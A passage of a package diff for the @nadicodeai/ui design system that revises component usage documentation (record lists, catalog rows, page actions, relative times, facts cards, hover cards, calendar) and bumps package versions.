outside the row's link, so pressing one never opens the record. Status is only for the exception, empty for the usual record, and its column stands only while a record in the list shows one, so the name and its line keep the room; a fact's column likewise stands only while a record in the list has its value; the commands column likewise stands only while a record has a command, a menu or a message, or the rows open, and it widens for a failed action's next steps only while a row shows one. Never the three dots before the button, a decorative icon for the record's mark, a status on every row, or a destructive button on every row: a destructive command stays in the three dots. A `line` row's summary joins only the facts the record has, so it never ends in a dot. A failed or refused action of the record shows as its catalogue message inside its own row, never a notice under the row: it replaces the detail line, with its next steps beside its commands, or under the message on a card too narrow for the row's columns. With `open` the whole row is one target and takes the `accent` hover, with no chevron, as Vercel's Deployments rows open theirs; a row that opens nothing never reacts to hover. Opening is the row's alone: the three dots never hold a command that only shows the record (*Details*, *View*, *Open*). With `editor` the record's row opens its form under its line. `empty` is required: `null` is the choice to draw nothing for a list with no records, and any other value is the state it draws. A note about the whole list is `footer.note`: one muted line, an optional *Learn more* after it at the left and one secondary action at the right, in a strip of its own under the count and the paging, as Vercel ends its deployments list (\"Deployment retention is enabled. Learn more\", *View recently deleted*). Colour is neutral, the name in ink and every other cell in the body grey, except the status badge and a failed action's message. “Pick the variant by what the user needs: no-results for a filtered list that returned zero rows, blank slate or informational for a resource the user hasn’t created, cleared for completed work, permission for role or tier denials, error for a failed load.” (https://vercel.com/geist/empty-state) Ours: `failed`, `noMatch` and `empty` are those variants, drawn inside the card. “The right column holds at most one or two controls. If the row needs more, move secondary actions into a `Dots Menu`.” (https://vercel.com/geist/entity) Ours: one or two row commands (outline buttons of 32 px) stand before the three dots (36 px), the Dots Menu. “Render the Skeleton variant (`entity-with-skeleton`) during load instead of an empty row, and swap to real content once data resolves.” (https://vercel.com/geist/entity) Ours: three still skeleton rows hold the place, in a region that announces what replaces them; then the first that holds: the failed read, no match, the empty state, the rows.",
212
212
  words: '“Lead the left column with a scannable identifier: an `Avatar` or icon, a Title Case label, then sentence-case secondary metadata (`Member since Mar 14, 2026`).” (https://vercel.com/geist/entity) Ours: the name is the record\'s own and the labels around it are sentence case, not Title Case. “Keep right-column buttons Verb + Noun (`Remove Member`, `Resend Invite`). Bare verbs like `Remove` or `Confirm` lose context once the row scrolls offscreen.” (https://vercel.com/geist/entity) Ours: every string is the product\'s: `label` names the list, a time\'s `phrase` writes its sentence ("Updated {when}"), `missing` is what a screen reader hears for a record with no time, the menu\'s `label` reads "More for {record}". A row command names its result in sentence case ("Edit domain"). A status is the exception\'s word ("Needs attention"), never "Active" on every row.',
213
213
  access: '“Wrap the loading region in `aria-busy="true"` and announce completion with `aria-live="polite"` on the destination container, not the skeleton itself.” (https://vercel.com/geist/skeleton) Ours: the loading rows sit in one `SkeletonRegion` that is busy while they stand and announces what replaces them. A table named by `label`, its column headings read by assistive technology only; the commands column\'s is `commandsHeader`, and empty without one, since its controls name themselves, never the list\'s name a second time. The row link carries `open.label`; the three dots carry the menu\'s `label`, and the menu\'s first line names the record. The loading rows are a status named by `loadingLabel`, inside the one live region that announces what replaces them. “For multi-select rows, the leading `Checkbox` carries `aria-label="Select {entity name}"` so the row is selectable without relying on the visual label.” (https://vercel.com/geist/entity) Ours: each box is named by `select.label`, which reads "Select {record}".',
214
214
  },
@@ -261,11 +261,11 @@ export const USAGE = [
261
261
  module: "catalog-row",
262
262
  family: "Compositions",
263
263
  summary: "One row for every skill, plugin and MCP server a person meets, in the Portal's Library and an Agent's pages and in Nadia's Edit Agent and company skills: the screen says what each record is, this draws it, and the screen keeps its own commands, menu, status and editor.",
264
- when: "A `CollectionPage` of skills, plugins or MCP servers. The screen calls it with its records, what each one is (`CatalogRow`) and its words, spreads `list` into the page, passes `filters` as the page's filters and lists `keep`'s rows; a new screen of the same things gets the same row by the same call.",
264
+ when: "A `CollectionPage` of skills, plugins or MCP servers. The screen calls it with its records, what each one is (`CatalogRow`) and its words, spreads `list` into the page, passes `filters` as the page's filters and lists `keep`'s rows; a new screen of the same things gets the same row by the same call. A skill's origin comes from `skillOrigin`.",
265
265
  instead: "Any other record is the page's own `RecordList` row. The Library's add-from drawer is `CatalogDrawer`; a category on its own is `CategoryTag`.",
266
- behaviour: "The mark is the neutral ringed tile with the card's own icon, its kind's when the card names none, and the server icon for a server; the name; under it the detail, wrapping in full. Then two facts: the category label (`CategoryTag`), standing only while a row has a category, and where it came from, wrapping in full. The category filter stands after the search only while the rows hold more than one category; `keep` narrows rows to the chosen one, and a choice the rows no longer hold narrows nothing. `narrowed` says a category is chosen, for the page's no match, and `clear` unsets it.",
267
- words: 'Every string is the product\'s: the source in the same words wherever it means the same ("From the Library", "Added in Nadia", "From the {plugin} plugin"), the category\'s name as its filter writes it.',
268
- access: "The columns are named by `words.category` and `words.source`; the category's icon is decorative.",
266
+ behaviour: "The mark is the neutral ringed tile with the card's own icon, its kind's when the card names none, and the server icon for a server; the name; under it the detail. Then the facts: a skill's or a plugin's category label (`CategoryTag`) on every row, Other when its card names none, a server having none; where the Agent's copy came from, in one closed list of origins, a learned skill naming the Agent who learned it with her mark, or by her name where the screen has no mark for her; then the screen's own columns. The category filter stands after the search only while the rows hold more than one category; `keep` narrows rows to the chosen one, and a choice the rows no longer hold narrows nothing. `narrowed` says a category is chosen, for the page's no match, and `clear` unsets it.",
267
+ words: 'Every string is the product\'s, one per origin in the grammar of the row\'s kind: "Company skill", "From the Library", "Comes with Nadia", "Learned", "Added in Nadia", "Added in the Portal", "From the {plugin} plugin"; the category\'s name as its filter writes it.',
268
+ access: "The columns are named by `words.category` and `words.origin.label`; the category's icon is decorative, and a learned skill's origin reads \"Learned by {Agent}\".",
269
269
  },
270
270
  {
271
271
  name: "Button",
@@ -337,10 +337,10 @@ export const USAGE = [
337
337
  name: "PageActions",
338
338
  module: "page-actions",
339
339
  family: "Actions",
340
- summary: "A page's actions, drawn on its title's row. Only the page shown last owns the row: a page kept hidden for a quick return gives the row back. Outside a `PageActionsHostProvider`, they render where they stand.",
340
+ summary: "A page's actions, drawn on its title's row. The row has one owner: a page kept hidden for a quick return has given it back, and a second `PageActions` on the page a person sees throws in development and in tests. Outside a `PageActionsHostProvider`, they render where they stand.",
341
341
  when: "The actions of a collection, an object or an overview page, on the title's row at its trailing edge. A Configuration page has none: each section saves from its footer.",
342
- instead: "A row's actions are the row's one button and its `ActionMenu`. A collection toolbar holds search and filters, never a page action.",
343
- behaviour: 'Takes `period`, `secondary`, `primary` and `menu` and draws their order and variants itself: the period, outline, default, then the three dots last. The menu needs two commands or more; a single extra command is the secondary. A primary whose job comes in a few kinds takes `choices`: its button opens a menu of them aligned to its end, each with its icon, as Vercel\'s "Add New…" does; a kind that needs its own fields opens its dialog from its row. A destination outside the product ends in the arrow. A running command (`pending`) keeps its place and icon, says its pending word and holds, and the type requires `pendingLabel` whenever `pending` is set. A command here is never destructive or warning: those sit in the danger zone of the page, in a card.',
342
+ instead: "A row's actions are the row's one button and its `ActionMenu`. A collection toolbar holds search and filters, never a page action. A page whose parts each have commands gathers them in the one `PageActions` of the component that owns the page; a part never draws a second.",
343
+ behaviour: 'One per page: the title row has one owner, so a second `PageActions` on the page a person sees would hide the first\'s commands without a word. It throws in development and in tests, and in production the one that mounted last keeps the row. A page kept hidden for a quick return (an `Activity` with `mode="hidden"`) has given the row back and does not count. Takes `period`, `secondary`, `primary` and `menu` and draws their order and variants itself: the period, outline, default, then the three dots last. The menu needs two commands or more; a single extra command is the secondary. A primary whose job comes in a few kinds takes `choices`: its button opens a menu of them aligned to its end, each with its icon, as Vercel\'s "Add New…" does; a kind that needs its own fields opens its dialog from its row. A destination outside the product ends in the arrow. A running command (`pending`) keeps its place and icon, says its pending word and holds, and the type requires `pendingLabel` whenever `pending` is set. A command here is never destructive or warning: those sit in the danger zone of the page, in a card.',
344
344
  words: 'The primary is the page\'s main job as verb and noun: "Invite member", "New Agent". Its choices are the kinds, as nouns: "Folder", "Documents", "Web page". The pending word is its -ing form: "Inviting member". The menu names the page\'s record at its top and keeps the destructive command last, after a divider.',
345
345
  access: 'DOM order is visual order. A command whose label does not name its target carries `accessibleName`. A running command is `aria-busy` and keeps focus. The three dots carry "More for {record}"; the menu returns focus to them when it closes.',
346
346
  },
@@ -857,7 +857,7 @@ export const USAGE = [
857
857
  summary: 'A record\'s identity in a row (DESIGN.md "Tables and missing values"): its mark at 32, its name, and under it one muted `detail` line saying what the record is or where it comes from, so the row reads without a column heading.',
858
858
  when: "The first cell of every collection row: the mark, the name, and one muted line saying what the record is or where it comes from, so the row reads without a heading.",
859
859
  instead: "An Agent in a gallery is `AgentListRow`; a model is `ModelIdentity`. A descriptive item with prose and actions is `Item`.",
860
- behaviour: "The mark stands 16 px before the name. The name is semibold (600) ink and the detail a muted 14 px line, two lines with no gap between them, so the row is an entity row; `mark` is required; a record with nothing to say under its name leaves `detail` out and is the name alone, never a dash, which is a table cell's missing value and not a record's. The name holds one line and ends in an ellipsis, whole in its title, with a `hint` such as an ID read after it. The detail is one line too and ends in an ellipsis, whole in its title when it is text; in a row on a card narrower than its columns, the facts that leave the row join it after a middle dot and wrap so every value stays readable, and a status that leaves the row stands beside the name, which ends in an ellipsis before it. `wraps` only when the name is the whole record, such as a memory, and then the detail wraps too. The table owns the link.",
860
+ behaviour: "The mark stands 16 px before the name. The name is semibold (600) ink and the detail a muted 14 px line, two lines with no gap between them, so the row is an entity row; `mark` is required; a record with nothing to say under its name leaves `detail` out and is the name alone, never a dash, which is a table cell's missing value and not a record's. The name holds one line and ends in an ellipsis, whole in its title, with a `hint` such as an ID read after it. The detail is one line too and ends in an ellipsis, whole in its title when it is text; in a row on a card narrower than its columns, the facts that leave the row join it after a middle dot and wrap so every value stays readable, and a status that leaves the row stands beside the name, which ends in an ellipsis before it. `wraps` only when the name is the whole record, such as a memory: the name is then a sentence at the body's regular weight, not a name in semibold, and the detail wraps too. The table owns the link.",
861
861
  words: '“Lead the left column with a scannable identifier: an `Avatar` or icon, a Title Case label, then sentence-case secondary metadata (`Member since Mar 14, 2026`).” (https://vercel.com/geist/entity) Ours: the name as the record calls itself, and the detail in sentence case: kind, then relation, three to six words, "Company skill · every Agent has it".',
862
862
  access: "The name is the row link's text; the mark is decorative; the title carries the full name.",
863
863
  },
@@ -1232,7 +1232,7 @@ export const USAGE = [
1232
1232
  when: '"Use `<RelativeTimeCard>` anywhere a recent timestamp appears in scannable surfaces: `Table` cells, `Entity` rows, deploy lists, activity feeds." (https://vercel.com/geist/relative-time-card) Ours: `RelativeTimeCard` is `RecordTime`: the moment a record was made, changed or last ran, in its row or its facts, and the time of each event in an ActivityFeed or a RunTimeline step (`mode="clock"`).',
1233
1233
  instead: '"For a static date in body prose past 7 days, render `Mar 14, 2026` directly." (https://vercel.com/geist/relative-time-card) Ours: a date a person picks is a Calendar; a span of days a page reads is a DateRangeControl; a run\'s duration is a fact written by the product (*Took 4 min*).',
1234
1234
  behaviour: "\"The hover card already shows absolute UTC and local time, so don’t duplicate that copy elsewhere on the row.\" (https://vercel.com/geist/relative-time-card) Ours: relative within a week, then the day and month, with the year only when it is another year; `mode=\"clock\"` prints the time of day in the viewer's zone in tabular figures. Hovering either shows a card that opens above after 150 ms, 13 px from the time, with a stem: the relative reading first, then the exact date and time in UTC and in the viewer's zone, each behind a zone chip, the viewer's by its offset (*GMT+2*). A page rendered on a server passes the viewer's `timeZone` when it knows it, so the server and the browser write the same time; otherwise the server and the hydrating page write UTC and the page then rewrites it in the browser's zone. A relative time counts from the moment the server drew the page, which a `RecordTimeRenderedAt` above gives the server and the hydrating page alike, so a minute that turns before the page is live changes nothing, and the live page then counts from the browser's clock; a server with no such moment writes the day with its year (*Signed up Oct 14, 2026*), and the live page rewrites it. The product supplies any refresh after that. A time that names no moment draws `children`, a state such as *Pending*, or nothing. While `at` does name a moment, `children` (*Queued*) replaces the sentence and the card stays.",
1235
- words: '"Pass `date` as a number (Unix ms or epoch)." "Don’t pre-format the value, and don’t replace `children` with a formatted string." "The component’s short formatter is the canonical form (`2m`, `5h`, `Yesterday`)." "Don’t append `ago` after the component." "The formatter already produces `2m ago` / `5h ago`, so `<RelativeTimeCard /> ago` reads as `2m ago ago`." "Use `children` only for non-time labels (`Just now`, `Pending`, `Queued`) where the formatter can’t describe the state." "Pair with a leading label when the row is ambiguous on its own: `Last deploy <RelativeTimeCard date={ts} />`." (https://vercel.com/geist/relative-time-card) Ours: `at` takes a Date, epoch milliseconds or an ISO string, never a display string such as *3 hours ago*. The reading is the locale\'s long form (*3 hours ago*, *12 Sep*), not `2m`. The product writes the sentence through `phrase` (*Updated {when}*, *Ran {when}*), so *ago* is never added after it; the clock needs no words. The package formats every date with the person\'s `locale`.',
1235
+ words: '"Pass `date` as a number (Unix ms or epoch)." "Don’t pre-format the value, and don’t replace `children` with a formatted string." "The component’s short formatter is the canonical form (`2m`, `5h`, `Yesterday`)." "Don’t append `ago` after the component." "The formatter already produces `2m ago` / `5h ago`, so `<RelativeTimeCard /> ago` reads as `2m ago ago`." "Use `children` only for non-time labels (`Just now`, `Pending`, `Queued`) where the formatter can’t describe the state." "Pair with a leading label when the row is ambiguous on its own: `Last deploy <RelativeTimeCard date={ts} />`." (https://vercel.com/geist/relative-time-card) Ours: `at` takes a Date, epoch milliseconds or an ISO string, never a display string such as *3 hours ago*. The reading is Geist\'s short form in the person\'s language (*now*, *2m ago*, *3h ago*, *yesterday*, *3d ago*, then *12 Sep*; *ora*, *3 h fa* in Italian). The product writes the sentence through `phrase` (*Updated {when}*, *Ran {when}*), so *ago* is never added after it, and a row says what happened because its list\'s headings are read only by assistive technology; the clock needs no words. The package formats every date with the person\'s `locale`.',
1236
1236
  access: "Ours: a `<time>` element with the machine-readable moment; assistive technology reads the exact local moment after the visible text.",
1237
1237
  },
1238
1238
  {
@@ -1253,7 +1253,7 @@ export const USAGE = [
1253
1253
  summary: "Read-only facts about one object, framed as a card with a title, a line, the facts and a footer.",
1254
1254
  when: "Read-only facts about one object: who it is, where it belongs, its identifiers; and a status, a read-only card whose `action` is the one action that fixes it. `SettingsFactsSection` frames them as a card; `ObjectFacts` is the list alone.",
1255
1255
  instead: "Facts a person changes are a `SettingsSection` with its own Save. One server-given value, an ID, is a `SettingsSection` with the value in a read-only mono `InputGroup` and its copy button, no Save. Facts compared across records are a table. A relation is its identity or a `Tag`, never its own card.",
1256
- behaviour: "\"Use `<Description>` for definition-list metadata: a short Title Case key paired with a single value (`Last Deployed`, `Region`, `Plan`).\" (https://vercel.com/geist/description) Ours: required: the description and the footer's left line (`footerHint`), as on a `SettingsSection`. Two places take a control, each for one job: `actions` at the header's end are the commands on the facts, the Edit that opens their editor, drawn as every card's header draws them (`CardActions`); `action` at the footer's right, beside its line, is the one action the card's state asks for, as a status card's fix (Update, Start) and every Vercel settings card's button stand there. Facts are plain pairs, the label above its value, in two equal columns from 640 px (`sm`) and one column below it. Every label stays when its value is missing, as *—*. A long value spans both columns. No fact gets a box of its own. In a side column, `presentation=\"summary\"` drops the card, the description and the footer line.",
1256
+ behaviour: "\"Use `<Description>` for definition-list metadata: a short Title Case key paired with a single value (`Last Deployed`, `Region`, `Plan`).\" (https://vercel.com/geist/description) Ours: required: the description and the footer's left line (`footerHint`), as on a `SettingsSection`. Two places take a control, each for one job: `actions` at the header's end are the commands on the facts, the Edit that opens their editor, drawn as every card's header draws them (`CardActions`); `action` at the footer's right, beside its line, is the one action the card's state asks for, as a status card's fix (Update, Start) and every Vercel settings card's button stand there. Facts are plain pairs, the label above its value, in two equal columns from 640 px (`sm`) and one column below it. Every label stays when its value is missing, as *—*. A long value spans both columns. No fact gets a box of its own. While the facts are read (`loading`) each label stands over a placeholder line, never a dash, and a read that `failed` puts its message and Try again in their place, inside the card. A `picture` stands beside the facts, as Vercel's deployment card keeps its screenshot, only where DESIGN.md admits a picture on a populated page. In a side column, `presentation=\"summary\"` drops the card, the description and the footer line.",
1257
1257
  words: '"Title slot is Title Case noun (`Last Deployed`, `Build Duration`); content is sentence case unless the value is a literal identifier, ID, or timestamp that should be preserved verbatim." (https://vercel.com/geist/description) Ours: labels are nouns in sentence case, no colon: *VAT number*. Identifiers in mono with a copy button, dates in the person\'s locale. The footer line says what the facts are for or links to the docs.',
1258
1258
  access: '"Geist renders `<dl>`/`<dt>`/`<dd>` so screen readers announce each key/value pair as a definition." (https://vercel.com/geist/description) "Don’t put interactive controls in the title slot." (https://vercel.com/geist/description) Ours: a `dl` of `dt` and `dd`, each value named by its label. The section is labelled by its heading, which also takes focus when an editor closes. A dash carries screen-reader text.',
1259
1259
  },
@@ -1375,7 +1375,7 @@ export const USAGE = [
1375
1375
  when: '"Use Context Card to reveal entity metadata on hover or focus: a user, a deployment, a project, an API key." "The trigger is usually a name link or avatar in dense data." (https://vercel.com/geist/context-card) Ours: `Context Card` is `HoverCard`. The exact moment behind a relative time is also a card. An entity\'s card is a `HoverCardSummary`.',
1376
1376
  instead: '"For a one-line "why" without metadata rows, use `Tooltip`." "For long-form content, edit forms, or persistent navigation, route to a `Drawer` or a detail page." "Don’t use Context Card to surface destructive actions; the panel can dismiss on cursor exit before the user commits." "Don’t nest a Context Card inside a Tooltip or another Context Card; the second layer steals focus and traps keyboard users." (https://vercel.com/geist/context-card) Ours: `Drawer` is `Sheet`. A card is never the only way to an action.',
1377
1377
  behaviour: '"Context Card opens on hover and keyboard focus and closes on cursor exit or blur." "Preserve the ~150ms entry delay so it doesn’t flash on a fast mouse sweep." "Cap interactive content at one primary action (`View Project`, `Open Settings`)." "More than one CTA reads as a menu and belongs in `Menu`." "Use `align` to position the card at the start, center, or end of the trigger." "Use `render` to set the trigger as a custom element, such as a link, button, or badge." (https://vercel.com/geist/context-card) Ours: the parts are `HoverCard`, `HoverCardTrigger`, `HoverCardContent` and `HoverCardSummary`. The card opens above by default, 150 ms after the pointer or focus arrives (`delay` on `HoverCardTrigger`), stays open while the pointer is on it. `HoverCardContent` requires its facts as children. A `HoverCardSummary` is the entity\'s name, one identifying line, two to four label and value facts, and at most one link, which takes the product\'s router link through `render`. Colour: one neutral surface with no hue; the only accent a card carries is its link, in the outline button.',
1378
- words: '"Lead with the entity name as a Title Case heading and one identifying line in sentence case underneath (team slug, owner, deployment URL)." "Follow with 2–4 metadata rows of `Label: value`." "Keys are Title Case noun phrases (`Last Active`, `Created`, `Plan`); values follow the same formatting rules as table cells." "Use the em-dash character `—` for unknown values, never `N/A` or `null`." "Don’t restate what the trigger already showed." "If the row already renders the deployment URL, don’t repeat it as the first card line." (https://vercel.com/geist/context-card) Ours: the name and the keys are in sentence case (*Last active*). A time\'s card leads with the relative label, and its trigger keeps its verb sentence: *Updated 3 hours ago*.',
1378
+ words: '"Lead with the entity name as a Title Case heading and one identifying line in sentence case underneath (team slug, owner, deployment URL)." "Follow with 2–4 metadata rows of `Label: value`." "Keys are Title Case noun phrases (`Last Active`, `Created`, `Plan`); values follow the same formatting rules as table cells." "Use the em-dash character `—` for unknown values, never `N/A` or `null`." "Don’t restate what the trigger already showed." "If the row already renders the deployment URL, don’t repeat it as the first card line." (https://vercel.com/geist/context-card) Ours: the name and the keys are in sentence case (*Last active*). A time\'s card leads with the relative label, and its trigger keeps its verb sentence: *Updated 3h ago*.',
1379
1379
  access: '"The trigger keeps its own accessible name; the card is supplementary and shouldn’t replace it." "Card content is reachable by keyboard once the trigger has focus; Escape closes the card and returns focus to the trigger." (https://vercel.com/geist/context-card) Ours: the trigger is a real element (a `time` with its `datetime` for a moment), so the facts never depend on hover. Keyboard opening is tested, not assumed.',
1380
1380
  },
1381
1381
  {
@@ -1738,7 +1738,7 @@ export const USAGE = [
1738
1738
  when: '"Pick `<Calendar>` for analytics ranges and any picker where day-of-week and month context matter." "Provide `<Calendar.Presets>` for the common ranges (`Last 7 Days`, `Month to Date`) so users land on the right window in one click." (https://vercel.com/geist/calendar) Ours: the reading period of an overview or a chart: on the title row through `PageActions`\' `period`, or in a `ChartCard`\'s `controls` where the page has none.',
1739
1739
  instead: '"For ISO dates pasted whole or relative shorthand like `7d`, use a free-form `Input`." (https://vercel.com/geist/calendar) Ours: a choice of metric is a `ToggleGroup` in the card\'s controls. A date a person enters in a form is a date field.',
1740
1740
  behaviour: '"Pair a horizontal layout with live results next to the calendar; in narrow surfaces like a sidebar, fall back to the stacked layout." "Set `min` and `max` to the data window so users can’t pick outside the retention range." "Keep the trigger label as the chosen range (`Apr 1 – Apr 28, 2026`); don’t fall back to `Pick a date` once a value is committed." "Persist the selected range when the popover closes and re-opens so users can tweak the end date without re-picking the start." (https://vercel.com/geist/calendar) Ours: one button that reads as the current window. It opens the presets as buttons beside a two-month calendar, stacked above it on a narrow surface. A preset applies at once and closes; a custom window applies on the second day. `min` and `max` are `minValue` and `maxValue`, the data\'s retention window. The value is encoded into the URL by the caller with `encodeDateRange`.',
1741
- words: '"Each preset is a real button with a Title Case label (`Last 30 Days`); don’t mark presets as menu items without keyboard handling." (https://vercel.com/geist/calendar) Ours: presets name the window in sentence case: *Past 7 days*, *Past 14 days*, *Past 30 days*, *This cycle*. A custom window reads as its dates.',
1741
+ words: '"Each preset is a real button with a Title Case label (`Last 30 Days`); don’t mark presets as menu items without keyboard handling." (https://vercel.com/geist/calendar) Ours: presets name the window in sentence case: *Past 7 days*, *Past 14 days*, *Past 30 days*, *This cycle*. A custom window reads as its dates. The caller passes the reader\'s language as `locale` (`en` or `it`), and the calendar names its months, weekdays and buttons in it and starts the week on Monday in Italian; without it the calendar is English.',
1742
1742
  access: '"Trap focus inside the popover so Tab cycles day cells and presets instead of the page behind it." "Announce range changes through `aria-live="polite"` so a screen reader hears `From Apr 1 to Apr 28` after the second click." (https://vercel.com/geist/calendar) Ours: the button carries the control\'s name and the current window, and opens a dialog of preset buttons, the current one pressed, and the day grid. A polite status next to the button states the window: the preset\'s name, or the dates once the second day is chosen; it does not change after the first day.',
1743
1743
  },
1744
1744
  {
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@nadicodeai/ui",
3
- "version": "12.1.182",
3
+ "version": "12.1.184",
4
4
  "type": "module",
5
5
  "imports": {
6
6
  "#jsx": "./src/jsx/index.ts",
@@ -43,6 +43,10 @@
43
43
  "types": "./dist/lib/format-token-count.d.ts",
44
44
  "import": "./dist/lib/format-token-count.js"
45
45
  },
46
+ "./lib/format-record-time": {
47
+ "types": "./dist/lib/format-record-time.d.ts",
48
+ "import": "./dist/lib/format-record-time.js"
49
+ },
46
50
  "./components/chart": null,
47
51
  "./components/context-menu": null,
48
52
  "./components/dropdown-menu": null,
@@ -72,7 +76,7 @@
72
76
  "@base-ui/react": "^1.9.0",
73
77
  "@iconify-icons/logos": "^2.0.3",
74
78
  "@iconify/react": "^6.0.2",
75
- "@nadicodeai/design-system": "12.1.182",
79
+ "@nadicodeai/design-system": "12.1.184",
76
80
  "@tanstack/react-table": "^9.3.1",
77
81
  "@vgpu/wgsl": "0.6.0",
78
82
  "class-variance-authority": "^0.7.1",